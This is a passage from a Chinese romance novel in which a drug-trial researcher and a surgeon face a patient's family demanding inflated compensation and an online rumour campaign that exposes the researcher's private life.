谢一菲:“所?以现在要?做的就是确定你?母亲的情?况是否和我们的试验有关,我们想了解这?个结果的迫切程度不亚于你?们家属,因为这?对我们后续的工作也有很重要?的指导意义。” “那如果证明是你?们的责任怎么办?” “我们会根据规定支付你?们相应的医疗费、护理费、营养费。” 男人笑了,笑得不怀好意:“这?能有几个钱?打发傻子呢?” 他?边说边冷笑着逼近谢一菲。 这?是谢一菲第一次遇到这?种情?况,一时?间不知道该怎么办。 退让吗?那是对规则的破坏,对不怀好意之人的纵容。可不退让会发生什么?她脑中闪过无数发生在医院的恶性事件,事情?的起因很多就是今天这?样的事。 就在这?时?候,眼前光线忽然暗了,有人强势地挡在了她的面前。 秦铮:“索赔的流程谢老师已?经说了,后续的事情?你?可以找明德的老师,也可以找我。” 他?的声音没什么起伏,但在场所?有人都听得出他?已?经很不高兴了。 可王玉儿子并?没有因为他?的一句话就退让,他?冷哼一声:“找你?有用?吗?” “当然。” 他?宽阔的肩背像山一样将?她和威胁隔挡开来。 谢一菲又想到那个隔着手术洞巾说她可以信任他?的秦铮,还有那个把李奶奶从死?神手里抢下来的秦铮。 王玉儿子朝着谢一菲轻蔑地扬了扬下巴:“可我偏要?找她。” 这?话似乎激怒了秦铮,他?忽然上?前一步,逼近了王玉儿子。他?的这?一动作就像点燃了导火索,将?办公?室内本就紧绷的气氛推至了崩坏的边缘。 谢一菲连忙去扯他?的衣袖。 王玉儿子原本还很嚣张,但也被秦铮刚才那一动作吓得后退了一步。 “你?你?你?……想干什么?你?敢动我,你?工作不要?了?!” 秦铮一言不发,跟平时?似乎也没什么不同,但谢一菲能读懂他?目光中的冷漠和轻蔑,而且她注意到了他?垂在身侧的手渐渐握成了拳。 谢一菲悄悄扯了扯秦铮的袖子,好一会儿,那紧握的拳头才又松开。 王玉儿子似乎也注意到了,笑了:“对嘛,这?样才对。” 这?话在场所?有人都明白是什么意思,这?件事无论谁对谁错,不管患者家属多么过分,但秦铮作为医生,她作为试验组的人都要?忍让。 她觉得很憋屈,可她更替秦铮感到憋屈。 王玉儿子越说越过分:“别以为我不知道你?们那些猫腻,不就是合起伙来骗我们这?些可怜人陪你?们演戏吗?走个流程,然后这?药就可以光明正大的上?市售卖,你?们就可以捞钱了!你?!还有你?!都 不是好东西!” 说到激动处,王玉儿子抬手指了指谢一菲又指向秦铮。 此时?的谢一菲已?经顾不上?自己了,她更替秦铮捏把汗,她真担心被王玉儿子一再的挑衅后,他?做出什么不冷静的事。 然而让她意外的是,秦铮只是抬手轻巧挡开男人的手指:“我理解你?的心情?,但也请你?注意你?的措辞。” 这?时?候护士长跑了过来,她大约是刚听说患者家属和秦铮闹了起来,这?才过来帮忙调和。 随着她的出现,刚才那种剑拔弩张的气氛也消失了。 王玉老公?回过神来,连忙过来道歉,说他?儿子也是太着急了才会口不择言,回头又劝儿子有话好好说。 王玉儿子点点头:“那咱们就好好说。说吧,赔多少??” 到了这?一刻,在场不会有人不明白,这?才是对方的真正意图。谢一菲之前想不通的点此时?也忽然就想通了,她先前的那种奇怪的感觉其实是源于王玉儿子态度的前后变化。 早上?的时?候,他?们大概还没想到索赔的事,对医护人员的态度和以往没什么不同,甚至有点忌惮。下午的时?候,他?们就想好要?这?么做了,所?以态度变得很恶劣,而且因为知道自己的要?求超出了正常的索赔范围,所?以用?嚣张的态度来掩饰自己的心虚。 但是短短几个小时?而已?,到底发生了什么事呢? 王玉儿子看向的是谢一菲,谢一菲说:“这?个问题我现在没办法回答……” 秦铮打断她问王玉儿子:“你?想赔多少??” 男人仿佛看到了希望,看了眼身后的父亲,然后下定什么决心似的对秦铮说:“怎么说也得十万吧。” 这?分明就是讹诈! 秦铮:“据我所?知,如果排查之后证明你?母亲的不良反应确实源于试验用?药,除了医疗费外,可以申请到的赔偿,一天也就几百块吧。” 男人一听急了:“你?糊弄谁呢!我妈在鬼门关走了一遭就值这?么点钱?” “怎么证明你?母亲‘在鬼门关走了一遭’呢?我开的检查你?们也不去做,为什么不去?觉得身体没问题了?还是不敢?” 办公?室的空气都仿佛凝固了,两?个男人对峙着。 护士长打圆场:“这?事秦医生一个人肯定决定不了。” 王玉儿子笑了笑:“行,反正少?了肯定不行,你?们可以找你?们领导商量去,我可以等。” 直到他?离开,办公?室里的空气才又流动了起来。 他?们一走,护士长也跟出去打发走了门口看热闹的人。办公?室里只剩下了秦铮和谢一菲。 他?转过头看着她,目光柔和:“你?没事吧?” 谢一菲心不在焉地摇摇头:“我觉得很奇怪。” “哪里奇怪?” 谢一菲说出了自己的想法:“上?午的时?候,他?们虽然也不配合,但给?我的感觉是他?们在害怕担心什么。可是刚才你?也看到了,那人那么嚣张,明显就是要?找事,和上?午的态度完全不同。你?说……他?们会不会早就猜到王玉的反应和我们的药物无关,而且症状很快就会好转?” 谢一菲不确定是不是自己太小人之心了,所?以没有直接说出自己的结论,认为他?们早就找到了病症的根源,故意不说,就是想借此敲诈一笔钱。 秦铮笑了笑:“我觉得他?猜不到,除非有人启发过他?们。” 有人?什么人?可惜她丝毫没有头绪。 谢一菲有点无奈:“他?们要?索赔那就让他?们走正常的索赔流程吧。只是大家对新药的态度本来就很谨慎,不知道会不会被他?们影响。毕竟流言蜚语的杀伤力一向不容小觑,哪怕是假的也足以动摇人心,影响到整个项目。我现在算是理解了,为什么面对有些病人和家属的无理取闹,院方会投鼠忌器……” 秦铮:“这?事你?不要?管了,后面让明德的人出面和他?沟通。这?段时?间注意安全。如果他?想要?钱,那这?事就还没完。” 秦铮这?话几乎是一语成谶。 当天晚上?,有几张微信群的聊天截图忽然开始在网上?流传。内容是一个号称知道点“内幕”的人说,某三甲医院乳腺外科医生,与临床试验项目组负责人大搞权色交易,拿人命和患者家属的信任当玩笑。还说女方本来是有男朋友的,因为和这?位男医生睡了被男朋友发现了,又被男朋友甩了。 据说那个群聚集了天南海北的乳腺癌患者极其家属,大家同病相怜,分享各种治疗的讯息和资源,时?间长了就和一条战壕里的战友差不多。这?消息一暴出来,立刻在群内掀起轩然大波。 网络的力量何其强大,没多久这?几条在微信用?户之间转发的聊天记录也发到了谢一菲的身边人这?里。 护士小刘悄悄告诉她,这?是某位患者发给?她的,还问她里面说的人是不是秦铮和谢一菲。 看到那些聊天记录时?,谢一菲的脑子有一瞬的空白,她最担心的事情?还是发生了。 她一时?间不知所?措,小刘却出乎她意料的神色轻松:“放心,我都跟她说了,您先是秦医生的患者,后来又是合作方,自然和秦医生更熟悉一点,聊天记录里那些关于您二人关系的指控纯属子虚乌有。再说医院允许这?个药用?在患者身上?,那就证明这?个药对患者是有帮助的。我当初是您的管床护士,现在负责跟踪受试患者的各项指标,无论是对您和秦医生的人品,还是对咱们这?个药的疗效,我觉得我都有发言权。” 小刘的信任和维护让谢一菲很感动,但同时?也因她自己的有所?隐瞒让她很愧疚。 冷静想想,她其实并?不担心明德的人会相信这?些传闻,她在项目中只是以专家的身份参与研发,这?款药是否能成功上?市,受影响最大的是明德。她对这?个项目只需尽力,没有理由做到那份上?。 她也不担心医院会怀疑项目审批的合规性,所?有接触过临床试验的人都知道,这?么大的事不是秦铮一个年轻医生能左右的。 但是她也怕众口铄金积毁销骨。 小刘安慰她说:“不管这?‘知情?人士’说的是不是咱们的项目,既然是流言蜚语,那过段时?间就没人关注了,谢老师您可千万别被这?些影响了心情?。” 谢一菲感激地点了点头。 她也希望事情?向小刘说的那样发展——随着时?间的推移,那些舆论会被平息。 可是有时?候就是事与愿违。 在谢一菲和小刘聊完的第二天,那些消息就被转发到了各个平台上?,而且爆料人还在持续爆料,说这?位涉事男医生私生活如何不检点,和医院里的女医生小护士,甚至患者家属都不清不楚的,医德败坏至极,这?样的人会和合作方搞到一起也就不足为奇了。 最后像是他?为了证明谢一菲和秦铮之间有权色交易,还发了张谢一菲从秦铮车上?下来的照片。这?个爆料人可能是出于某种顾虑,一直没有点名道姓,但是他?发出来的那张照片里却拍到了谢一菲的半张脸,只要?是认识她的人几乎能一眼认出她来。 网友本来就是最神通广大的群体,没多久就有人说:【这?不是那个乐队鼓手吗?怎么变成项目负责人了?】 那人还发了一张谢一菲打鼓的照片,看环境是初涩。照片里的她穿着修身短款T恤和工装裤,打鼓时?长发飞扬。这?张照片里,她也是露了半张脸,角度和从秦铮车上?下来那张几乎一样,稍一对比,就能看出是一个人。 其实看过她打鼓的人也只是少?数,而更多的人认出了她是B大的老师。多重身份的叠加,让网友对她产生了好奇。 这?个走向带来的负面结果是,她彻底没有了隐私,大家一边挖掘她,一边抨击她,她在一夜之间成了众矢之的。唯一的好处是,关注秦铮的人少?了,舆 论忽然就从“这?医生到底是谁”转变成了“这?女的我见过”上?,这?大概是那个爆料人也没有想到的,因为从他?最初的言论看,他?应该是冲着秦铮去的。 不久后,校内论坛上?有人专门为谢一菲开了帖子,标题也很有看点,叫“某位女老师不为人知的另一面”。 那人把谢一菲打鼓的照片和她讲课的照片放在一起。一个她规规矩矩平平无奇,一个她肆意无畏特立独行。 第57章 第 57 章 “我和谢老师是正当的男…… 谢一菲在B大读书加任教已经快十年了, 学校里大多数人对她的印象应该都?是上课时那张照片里的样?子,所以她打鼓时的样?子对他们而言应该也是不小的冲击,更何况这帖子里还传达了那么多令人遐想的信息, 她可以想象到迎接她的是什么。 不出意外的,不到半小时,这个帖子就占据了论坛的热度帖榜首。 评论区对谢一菲有诸多猜测,说她是两面人, 说她不安寂寞不务正业,这样?的人哪有心思潜心于学术,研究的成果也多半是造假, 这才要靠不正当手段获取资源。 越来?越多的人讨伐她没有为人师表的样?子,甚至还有人建议学校直接让她停职。 她当初既然答应了王林在她的酒吧演出, 那就做好了被?熟人认出来?的准备。 她没偷没抢,没人规定她不能有兴趣爱好, 也没人规定她下?了班不能去?兼职。她只是没想到, 她另一个身份的曝光是在这种情况下?。 即便?是早有心理准备, 即便?过往算不上多顺遂的人生已经把她的心磨出了茧,但这一刻的她还是感到了前所未有的无?力和?失望。 看到这帖子的人里有多少是认识她的?又有多少是认识她多年的?他们在哪里?还是他们也觉得?她是评论里说的那样?? 所幸这则帖子到下?午时就不能被?查阅了,但她也很快接到了院领导的电话, 让她过去?一趟。 她不认为自己有什么错,可在踏进那间办公?室前,心还是忐忑的。 院长办公?室里不止一人, 教务处的领导也来?了。 他们面对她时似乎和?平时没什么不同,可那无?意间流露出的审视的目光还是被?谢一菲捕捉到了。 她如实跟领导们解释了事情的来?龙去?脉, 也说了自己的猜测,这事一定有人在背后推波助澜,至于这个人是谁, 她心里其实已经有了个模糊的答案。 她和?秦一鸣秦铮的关系只有他们当事人最清楚,那有动机做这种事的就只有秦一鸣了。而且就看他见到秦铮时那种癫狂的状态,能做出这样?的事也不足为奇。 可是一切都?只是猜测,没有证据,她也就没有对院领导说这些。 教务处的领导也表示认同她的说法,还说会动用学校的关系去?查,说什么也会保护自己人。可紧接着,对方又话锋一转说,如果舆论继续发酵,为了学校和?学院的利益,必要时会要求她暂时停职,希望她能理解。 谢一菲沉默了片刻说“理解”,见她态度不错,领导们松了口?气?,又安慰了她几句就让她离开了。 谢一菲以前是个存在感很低的人,可是接下?来?的几天里,她感受到了前所未有的关注度。 走在校园里时,总有人对她指指点点。站在讲台上时,只要她一转身,就能听到身后有人窃窃私语。还有一些平时最多是点头之交的同事,忽然热心起来?,借着安慰她的由头打探她的隐私。 看来?删贴也没能遏制住事态的蔓延,反而让某些看热闹不嫌事大的人觉得?这是她做贼心虚的佐证。 没有谁的心是铜墙铁壁铸就的,她感到前所未有的疲惫。 手机响了,来?电人是王林。 王林的声音透着关切:“网上那些我看到了,你没事吧?” 谢一菲勉强笑了笑:“我没事。又没真干什么见不得?人的事。” 王林说:“你能这么想就好。其实我想了一下?,这件事也没那么复杂。和?医院合作的是明德,你是明德请去?的专家,到时候请院方和?明德商量一下?由谁发个官方声明,说明项目推进的过程中每一个环节都?是合规合法的,应该就没什么问题了。网络不是法外之地,造谣要有证据,造谣的人没有证据,那大家就得?信官方的。学校那边也是,没有说大学老师不能兼职吧?既然下?了班跑外卖可以,打鼓为什么不行?” 可话是这么说,但是诋毁一个人并不需要证据,只在于ta想或者不想。 谢一菲:“我觉得?大部分人在意的其实并不是这些。” 最初传出消息的那个群里的人可能是真的关心这个项目的,但舆论发酵到今天这步,参与骂战的人那么多,这里又有多少人是在关注这个项目是否合规合法,项目成果是否能真的用于乳腺癌的诊疗呢? 王林叹了口?气?:“我也明白,网上看热闹不嫌事大的人不少,现在被?这些人诟病最多的就是你和?秦医生的关系了。其实这也没什么,人家正经的甲方乙方都?能谈恋爱,你们这点工作交集有什么值得?回避的?” 王林说完,两人都?不约而同地沉默了。道理大家都?懂,但舆论是个很微妙的东西。 过了片刻,王林像是想到了什么忽然说:“有了,到时候让秦医生站出来?公?开你俩的关系,说不准舆论风向能来?个180度大反转。” “我们的关系?” “对,彼此初恋,破镜重圆,大家虽然中间都?谈过,但兜兜转转还是你。这种在现实中翻滚的宿命感多美好啊!这声明一发,舆论风向肯定立刻就变了,你担心的事情自然也就不存在了。至于网上说你劈腿的那些评论你完全不用理,你没做,他们就没证据,没证据就是造谣。” 她和?秦铮的关系真像王林说的那样吗? 他们的关系确实没有网上说的那么不堪,但也没有王林说的那么美好。 “谢谢你林姐,听你这么说我好多了。” 王林:“跟我还客气?什么,有什么我能帮上忙的你尽管说。” 两人又随便?聊了几句就挂断了电话。 谢一菲想了想,觉得?王林说的对,至少应该先找明德的人聊一下?后续的公?关方案,如果舆论继续这样?发酵下?去?,她希望由他们出面和?医院商议发声明的事。至于她和?秦铮的关系,她有点犹豫。她很不喜欢把自己的隐私摊开给?别?人看,更何况十年前的事并不是一段多么让人愉快的过往。 …… 周意芝办公?室里,秦铮和?周意芝已经争论了很久了。这还是这么多年来?,他们师生二?人第一次在一件事上的态度大相径庭。 秦铮:“您说的对,我是医生,不是什么公?众人物,确实没必要对他们汇报我的个人情况。” 周意芝:“你能这么想就好。” 秦铮:“但谢老师还要在我们科继续工作,还要在学校里继续任教,她可以不在乎陌生人怎么说她,但是她身边这些共事的人呢?她的受试者,她的学生会怎么想?” 周意芝无?奈:“人这一辈子总要受点委屈的,尤其是在做成一件大事之前。虽然说这话有点对不住谢老师,但在这件事上受委屈的也不止她一个人。” 秦铮微哂:“那要看是什么样?的委屈了,这件事带来?的舆论压力我可以承受,但她是女生,那样?的中伤对她的影响可能比我们预想到的更大。” “那你想怎么样??” “这个项目没有任何猫腻,经得?起任何人的审查,我和?谢老师也是正当的男女朋友的关系,以前不公?开只是为了避免一些不必要的麻烦,现在麻烦既然找上门了,那也没必要再藏着掖着了。” “秦医生!” 周围没有旁人时,周意芝很少这么称呼他,他是她的学生,是她的下?级,也是她最喜欢的后辈,所以她不能让舆论毁掉他。大致了解一下?来?龙去?脉就知道这件事最初明显是冲着他来?的,但是不知道怎么回事就被?网友带偏了。现在终于没什么人关注他了,他要做的就是让这个情况继续保持下? 去?。每天都?有新的热点出现,相信用不了多久,大家就会淡忘他们。 周意芝:“这些事我能不知道吗?如果这个项目有什么猫腻,那也轮不到你来?承担责任,我周意芝首当其冲!可是你有没有想过有多少人在意这个真相?媒体是什么,能宣传你救死?扶伤也能说你贪赃枉法。大众又是什么?他们爱看上位者的上位来?路不正,爱看天理昭昭疏而不漏。虽然我们医生不算什么上位者,但在很多人看来?我们有着丰厚的收入,光鲜的身份,手握资源和?权利。他们能在你救死?扶伤的视频下?为你摇旗呐喊,也能在你被?污蔑的传闻下?对你喊打喊杀。这里面没有谁对谁错,人性是复杂的。不要陷入自证陷阱!” 沉默了片刻,秦铮说:“那您希望我怎么做?” 周意芝无?奈地呼出一口?气?:“必要的时候,院方或者明德都?可以发声明。至于你,最好什么也不说,什么也不要改变。现在这些事情就是这样?,你越是回应,大家对这件事的关注度就会居高不下?,有人就会拿着放大镜挑你的毛病。所以我希望这段时间,和?这件事有关的人都?保持沉默,对媒体是这样?,对院领导是这样?,对科室同事也是这样?。我支持你和?谢老师在一起,但不是现在,现在的你们需要以工作、以项目为重!想想病房里那些等着你们救命的患者!” …… 第58章 第 58 章 【她是有自己的本职工作…… 谢一菲刚进病区办公室就看到前?面的护士站里难得热闹, 她正想过去跟大家打个招呼,忽然听到有人提到了?她的名字,她不由得停下了?脚步。 “网上那?些人真搞笑, 也不看看我们秦医生长什么样?,用得着搞什么权色交易吗?我觉得就该发他老人家的帅照去打那?些人的脸!而且谁不知道他最有原则,和他有工作?交集的人他都?很注意保持距离。”说话的是位年轻护士。 “要是所?有人都?像师兄这么讲原则就好了?。”这是李灿的声音,“要不是有人硬往上贴, 别?人哪能找到污蔑他的机会。” 护士小刘听不下去了?:“也不能这么说吧,我觉得谢老师人挺好的,她和秦医生之间可能只是正常的工作?交集。” 李灿:“给你吃什么迷魂药了?让你这么替她说话?你要是个男的, 是不是就得为?她赴汤蹈火了??” 小刘尴尬笑笑:“您这话说的……不过我怎么觉得那?张照片的背景有点熟悉呢?” 那?张照片的背景是一条小路边,不是天天经?过的人看不出那?是哪里, 也难怪小刘没看出来那?是他们上次“偶遇”的那?家超市门口。 李灿:“我这话说的有问题吗?就算是正常的工作?交集那?也是有人刻意制造出来的,按理说她根本?就用不着天天往医院跑, 这么积极图什么呀?” 正在这时, 忽然有人注意到了?谢一菲, 赶紧扯了?扯李灿的袖子。 李灿顺着那?人视线看过来,看到谢一菲时脸上闪过一丝的尴尬,但很快又没了?表情。 她走出护士站, 在经?过谢一菲时,不客气地说:“该澄清澄清,知道一个医生的名誉有多重要吗?” 李灿走了?, 但空气还是凝滞的。 谢一菲就像置身于多年前?的教室里,老师点她回答问题, 但她脑中却一片空白,那?种茫然站在众人当中,感受着众人灼热视线的尴尬至今想起来都?让她后?怕。而此时的她的感受和当时别?无二致。 还是一个小护士说该去给患者量体温了?, 这才打破了?沉默,大家又开始忙碌起来,好像刚才的尴尬并没有存在过。 她转身要走,一回头?,看到了?走廊另一边的秦铮。 他像是刚从周意芝办公室出来,站在那?不知道多久了?,也不知道她的窘迫是不是都?被他看到了?。 他朝她走来,她的心开始狂跳。 舆论?发酵太快,矛头?指向她更?是在一瞬间,这还是她深陷其中后?,他们第一次见面。 他会对她说什么? 谢一菲觉得自己很没出息,面对校领导把丑话说在前?头?的态度时,她不觉得失望,面对李灿的针对,她虽然尴尬但也不觉得意外,一切来自外界的恶意她都?平静以对,可在看到他的那?一刹那?,她竟有一瞬觉得委屈。 秦铮:“你跟我来。” 谢一菲愣怔了?一下点点头?,跟着他穿过人来人往的走廊,走进他的办公室。 周遭那?些人的目光如有实质,让她如芒在背,可听着他沉稳的步伐,抬头?看到他挺阔的肩背,那?颗浮躁的心便渐渐安稳了?下来。 “后?悔吗?”秦铮问。 谢一菲不明所?以:“什么?” 其实当初提出那?个荒唐的提议,只是因为?看不惯她在秦一鸣母子面前?那?副唯唯诺诺委曲求全的模样?,可后?来,他帮她和周意芝牵上线,她的项目在他的病区开展临床试验,他们的关系就变得敏感起来。他不是没想过万一他们的关系曝光,别?人会如何恶意的揣测他们。 但不知道是他太自大了?,还是心中有了?想要做的事,那?个反对的声音和可能出现的糟糕后?果就一而再再而三的被忽视。他还是一意孤行地去招惹她,并且告诉自己这没什么大不了?,无非又给那?些闲人提供了?一点茶余饭后?的谈资罢了?。 “没什么,这几天还好吧?” 谢一菲:“嗯,我没事。” 秦铮:“针对网上那?些流言蜚语,院里和明德已经?沟通过了?,必要的时候会出面说明一切……” 和她预料的差不多,她点点头?等着他继续说下去。 秦铮却沉默了?一会儿说:“但是,舆论?是比癌细胞更?可怕的东西?,蔓延很快,而且越阻越勇,到最后?病灶看似不见了?,可还有很严重的后?遗症。” 谢一菲不明所?以地抬头?看着他。 秦铮转身面向窗外:“所以最好的根治手段可能就是斩断根源,然后?等它平息。” 斩断根源她理解,可是等它平息是什么意思? 秦铮:“虽然这个项目是明德和你的,但我的人也跟着你前?前?后?后?忙了?这么久,这个项目进展到今天这一步有多不容易你我都?清楚。而且我一直在关注着这个药的疗效,有多少人已经?因此受益,未来又有多少人可能因此受益我们也都?清楚。所?以不管是为?了?不让大家的心血付之东流,还是为?了?我的患者,我都?不希望这个项目因为?一些事受到影响。” 这是她应该听到的,却不是她想听到的。 难道这就是他,或者说他们想出来的应对措施吗?她知道这件事发展到今天这步不怪别?人,无论?是医院还是明德,哪怕是学校,都?没有义务维护她,可是他呢? 没有听到她的回应,他回头?看她。 秦铮平时没什么时间上网,看到网上那些抹黑谢一菲的言论时,他恨不得不管不顾地骂回去!但最后?一点理智让他去找了周意芝,因为?他知道自己这会儿的一举一动?都会影响到院方和项目。可就算是去找周意芝,他的目的也只是得到院方的支持,让他的回击更?有力也更?名正言顺,没想到最后?被说服的人竟然是他。周意芝用项目的前?途和那?些等待被治疗的患者说服了他。而他恰巧比谁都?清楚谢一菲为?了?这个项目付出了?多少,也清楚没有人比她更希望这个项目能顺利推进。 但此刻见到谢一菲,他又觉得很矛盾。 短短几天的工夫,她似乎憔悴了?很多,很明显这件事对她的影响比他想象得更?大。即便如此,她都?没有找过他,没有寻求帮助,更?没有找他抱怨,是本?来就对他没报什么希望吧? 她没有错,他确实什么都?做不了?,至少现在是。 他看着她说:“我知道让你不要理会网上那?些流言蜚语这更?像是句风凉话。但我可以保证,这一切都?是暂时的,这件事绝对不会这么不了?了?之,但是,能不能给我一点时间?” 她很少在他 的眼中看到这样?的神情,矛盾的、不忍的,还有类似于慌张的情绪。要保住这个项目,他也很难吧? 谢一菲忽然就失去了?力气,她呼出一口气:“现在除了?不要理会,好像也没有其他能做的了?。” “还可以去找那?个‘源头?’。”秦铮似乎是想起了?什么说,“说起来有件事挺巧的,网上那?些言论?都?是在王玉出现不良反应之后?冒出来的,网上闹得沸沸扬扬的这两天,他们竟然没再来找我。” 谢一菲:“你是说这件事和她有关?” “他们的出现,可能只是幕后?那?个人看到了?一个机会吧。” 说起王玉,谢一菲问:“她这几天怎么样??” “没再出现任何不良反应,我觉得之前?的不良反应也不是药物导致的,更?像是她对什么东西?过敏。” “但患者自述她以前?没什么过敏史。” 秦铮说:“如果是以前?没吃过的食物呢?我听护士说,之前?的17床家属看他们家可怜,经?常会分吃的给他们家。17床是几天前?出院的,走的时候把没动?过的一些吃的东西?都?留给了?他们,当天晚上王玉就开始腹泻。” “你是说那?里面可能有王玉不能吃的东西??” “对。” “那?他们自己想不到吗?” “当然想得到,只是17床也是一片好心,这事怪不得人家,而且讹诈谁也不如讹诈医院效果立竿见影。” 谢一菲:“那?现在怎么办?” “你正常工作?,其他的交给我。” 谢一菲点点头?。 她以往从来没有遇到过这种事,也没有应付这种事的经?验,对于该做什么,不该做什么,大概秦铮有他自己的道理吧。 …… 从医院离开,谢一菲坐公交车回了?家。 人一旦闲下来,就忍不住胡思?乱想。秦铮叫她不要去理会网上那?些言论?,可她忍了?又忍,还是没忍住,拿出了?手机, 明知道等待自己的是什么,可偏要去看一看,好像看过了?,也就可以踏踏实实地难受了?。 然而让她意外的是,她看到的不再全是辱骂,评论?区里竟然多出了?不少替她说话的人。 巧了?不是:【她是有自己的本?职工作?,但是没人说她不可以有兴趣爱好,而且这虽然只是她的兴趣爱好,但她比许多人做的都?好。我们之所?以找她来,就是因为?她的水平可以媲美?很多专业鼓手。】 巧了?不是:【男人打鼓就是帅气潇洒,女人打鼓就变得不正经?了??什么年代了?,哪个石头?缝里蹦出来的原始人?】 巧了?不是:【那?些用裹脚布裹过脑子的闭嘴吧!】 这个“巧了?不是”在网上大杀四方,让评论?区里竟然出现了?观点鲜明对立的两派,他们你来我往各有胜负,这和校内论?坛上一边倒的讨伐她的情况截然不同。 点开“巧了?不是”的主页,一张黑白色的短发女生的剪影,谢一菲一眼就认出了?那?是巧巧。这让她意外,却又不意外。 巧巧在圈子里小有名气,在网上也有一定的影响力,这才能造成这种分庭抗礼的局面。 谢一菲笑了?,这或许是这些天来唯一的好事吧。 第59章 第 59 章 离开 正在这时, 虞洁的电话忽然打了过来。谢一菲这才惊觉她最近忙着应付那些?乱七八糟的事,已经好几天没和师母联系过了。 师母平时不怎么上网,这会儿突然找她, 是不是看到了什么,或者听别人说了什么? 谢一菲忐忑地接通电话。 还?好虞洁的情绪听着没什么异样。她只是问她忙不忙,不忙的话,让她去她那一趟, 说她今天和阿姨说好了做谢一菲最爱吃的糖醋排骨。 护工刘姐的老公前?些?天摔断了腿,刘姐临时请了假回老家了,这段时间都是钟点?工阿姨来给虞洁做饭。 谢一菲松了口气, 同时觉得心里?暖暖的。 她看了眼车窗外说:“大?约20分钟后到。” 谢一菲到虞洁家时,阿姨还?没到。 虞洁照例问她这几天吃的怎么样, 睡得好不好,工作忙不忙, 谢一菲也像往常一样报喜不报忧。 她观察着虞洁的神情, 见她不像是知道了什么的样子, 谢一菲悬着的心放了下来,直到她注意到客厅里?没来得及收起来的两个?营养品礼盒。 “谁来了?”谢一菲问。 “一鸣昨天晚上过来了一趟。” 提到秦一鸣,谢一菲立刻又紧张了起来。 “他怎么来了?” 虞洁一副对一切都了然的态度:“这么紧张干什么?怕我知道你们分手了受不了打击吗?其实, 我生病以后迟迟不见他来看我,我就?知道你们之间多半是闹矛盾了。” 谢一菲刚和秦一鸣分手那会儿,虞洁还?时常问起秦一鸣, 但都被她给应付过去了。 她并?不是有意瞒着虞洁,只是因为那时候虞洁刚查出癌症, 已经够糟心了,她不想她病中还?要?分神操心她的事。而且,秦一鸣是虞洁“严选”出来的, 谢一菲怕她老人家知道事情的来龙去脉后会自?责。 不过,后来虞洁也就?不再提秦一鸣,谢一菲也不用再去应付虞洁,可?同时也隐约能感受到虞洁肯定已经猜到了什么。 这段时间两人保持着谁也不提这个?人的默契,谢一菲以为这事暂时就?算过去了,没想到秦一鸣竟然又出现了。 “他来干什么?” “他说找你找不到,电话被你拉黑了,只能来找我,让我替他转达一句话。” 谢一菲:“什么话?” “他说不是他。什么不是他啊?我怎么没听明白?” 难道他说的是在网上爆料的人不是他?可?是知道他们分手,也知道她和秦铮在一起的,还?有动机做那些?事的,如果不是秦一鸣,她想不出来还?有谁了。 谢一菲愣怔了片刻,回过神来对虞洁说:“没什么。我和他都分手了,您以后也别让他来家里?了。” 虞洁叹了口气说:“以你的性格,如果不是对方做了什么对不起你的事情,你不会这样。所以我也跟他说了,让他以后别再来了。” 这个?转折是谢一菲没想到的。 虞洁继续道:“之前?我看他人老实,各方面都不错,才介绍给你,没想到这么多年?了,我看人还?是这么不准。” 眼见着虞洁开始自?责,谢一菲赶紧故作轻松地说:“都过去这么久了,他要?是不来我都快忘了这人了。其实分手也没什么大?不了,回头有合适的您再给我介绍。” 虞洁似笑?非笑?地看着她:“我给你介绍对象,秦医生能同意吗?” 她们和秦铮打交道时,都是作为医患的关系公事公办,师母是怎么看出来的? 像是看出了她的疑问,虞洁笑?了笑?说:“他看你的眼神和你看他的眼神,都不一样。” 看来再隐秘的关系也会有露出来的马脚,就?如同纸里?包着的火,总会被有心之人发现的。 谢一菲不想再隐瞒师母,但也不想她抱太大?的希望。 她说:“其实我和他不像您想的那样,说不准明天就?分道扬镳了。” 虞洁笑?了:“我们那个?年?代,只要?谈了恋爱就?想着结婚,可?结婚不是结局,结了婚也有大?把离婚的,不离婚的日子也过得未必好。像你和秦一鸣,当时觉得你们特别般配,可?后来还?不是分开了吗?所以感情这事未必要?想那么远,就?算明天就?分道扬镳那也是明天的事,享受今天就?可?以了,可?前?提是,今天,他是爱你的。他今天爱你,明天可?以不爱你,可?他如果今天都不爱你,那明天就?更不会爱你了。” 谢一菲没想到虞洁会说出这么一番话。师母是个单纯善良的人,这么多年?来和导师的感情也很好,所以她一直觉得她对待感情的态度应该是乐观的,可?今天这番话看似是鼓励她和秦铮享受当下,而内里?却透着一种无奈的悲观情绪。 正在这时,门铃忽然响了,是来给虞洁做饭的钟点?工。 虞洁和对方打过招呼,笑?着 对谢一菲说:“你今天一定好好尝尝阿姨的手艺,糖醋排骨比刘姐做的还?好吃。” 谢一菲也笑?:“那我得多吃点?。” 说起刘姐,虞洁又想起什么似的说:“她请了一个?月的假,我就?想啊,在她回来之前?,我去昌黎住几天。之前你老师在的时候,他总是忙,他不去我也懒得动,搞得那房子买了一直没怎么住过。这次我正好过去看看,别进了贼都不知道。” 这段时间,谢一菲一直没来看虞洁,可想而知她整天一个人在家有多无聊。 她很自?责,但是让虞洁一个?人出门,她说什么也不放心。 她故意玩笑?着说:“真进了贼就?更不能让您去了。您要?是不放心那房子,回头我替您去一趟。” “你那么忙哪有时间?你放心,这回也不是我一个?人去,经管院的何老师会跟我一起去,她也是一个?人闲着没事干,正好想出去玩一玩。” 虞洁说的那位何老师,谢一菲有点?印象。也是一位退休的老师,几年?前?没了丈夫,儿女们虽然孝顺,想必也不能天天来探望,这么说来她俩结伴倒是挺合适的。 谢一菲还?是有点?犹豫:“可?是您每三个?月都要?复查,复查的时间很快就?到了,能检查完以后再去吗?” “这不还?有一个?多月才复查吗?这一个?月我怪无聊的,反正昌黎离北京又不远,复查前?我再回来就?行,到时候刘姐应该也可?以回来了。” 听她这么说,谢一菲也没理由再阻止她去。而且自?从虞洁生病以来,她整天郁郁寡欢,对什么事情都提不起兴趣,这次能主动提出想去旅游,谢一菲打心底替她高兴。更何况,说不准哪一天网上那些?事就?传到虞洁耳朵里?了,再让她替她操心,反而不利于她养病。 “那您的药千万别忘了带,去了要?像在家一样按时吃。” “知道啦,到时候我会每天跟谢老师报备的。” …… 第二天,谢一菲把两位老师送去火车站后才去了医院。 刚到医院,又有一位患者家属找到她,说希望退出试验组。 